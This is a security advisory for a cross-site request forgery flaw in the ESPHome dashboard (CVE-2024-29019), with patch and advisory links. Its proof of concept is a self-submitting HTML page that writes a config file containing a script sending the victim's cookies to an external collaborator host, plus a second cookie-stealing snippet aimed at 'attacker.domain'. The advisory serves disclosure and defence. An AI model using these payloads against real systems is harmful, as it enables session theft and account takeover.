ESPHome vulnerable to Authentication bypass via Cross site request forgery
### Summary API endpoints in dashboard component of ESPHome version 2023.12.9 (command line installation) are vulnerable to Cross-Site Request Forgery (CSRF) allowing remote attackers to carry out attacks against a logged user of the dashboard to perform operations on configuration files (create, edit, delete). ### Details It is possible for a malicious actor to create a specifically crafted web page that triggers a cross site request against ESPHome, this allows bypassing the authentication for API calls on the platform. ### PoC An example of malicious web page that abuses this vulnerability: <html> <body> <form action="http://localhost:6052/edit?configuration=poc.yaml" id="#main" method="POST" enctype="text/plain" onsubmit="setTimeout(function () { window.location.reload(); }, 10)"> <input type="hidden" name="<script> fetch('https://907zv9yp9u3rjerkiakydpvcr3xulk99.oastify.com?x" value="y', { method: 'POST', mode: 'no-cors', body:document.cookie }); </script> " /> </form> <script> document.forms[0].submit(); </script> <script> </script> </body> </html> In which an attacker creates and weaponizes "poc.yaml" config file containing a cookie exfiltration script and forces the payload triggering visiting the vulnerable page. Example of such script: <script> fetch('https://attacker.domain', { method: 'POST', mode: 'no-cors', body:document.cookie }); </script> ### Impact This vulnerability allows bypassing authentication on API calls accessing configuration file operations on the behalf of a logged user. In order to trigger the vulnerability, the victim must visit a weaponized page. In addition to this, it is possible to chain this vulnerability with GHSA-9p43-hj5j-96h5 (as seen in the PoC) to obtain a complete takeover of the user account.
describes (1)
Related CVEs.
| ID | severity | exploitable | ||
|---|---|---|---|---|
| CVE-2024-29019US | — | — | ||
ESPHome is a system to control microcontrollers remotely through Home Automation systems. API endpoints in dashboard component of ESPHome version 2023.12.9 (command line installati… | ||||
references
External citations — patches, advisories, analysis.
- https://github.com/advisories/GHSA-9p43-hj5j-96h5ADVISORY
- https://github.com/esphome/esphomePACKAGE
- https://github.com/esphome/esphome/commit/c56c40cb824e34ed2b89ba1cb8a3a5eb31459c74WEB
- https://github.com/esphome/esphome/pull/6396WEB
- https://github.com/esphome/esphome/pull/6397WEB
- https://github.com/esphome/esphome/releases/tag/2024.3.0WEB
- https://github.com/esphome/esphome/security/advisories/GHSA-5925-88xh-6h99WEB
- https://nvd.nist.gov/vuln/detail/CVE-2024-29019ADVISORY
Advisories like this name the exposed products attackers go after on your perimeter. See what is exposed on your perimeter with a free passive scan.
Free scan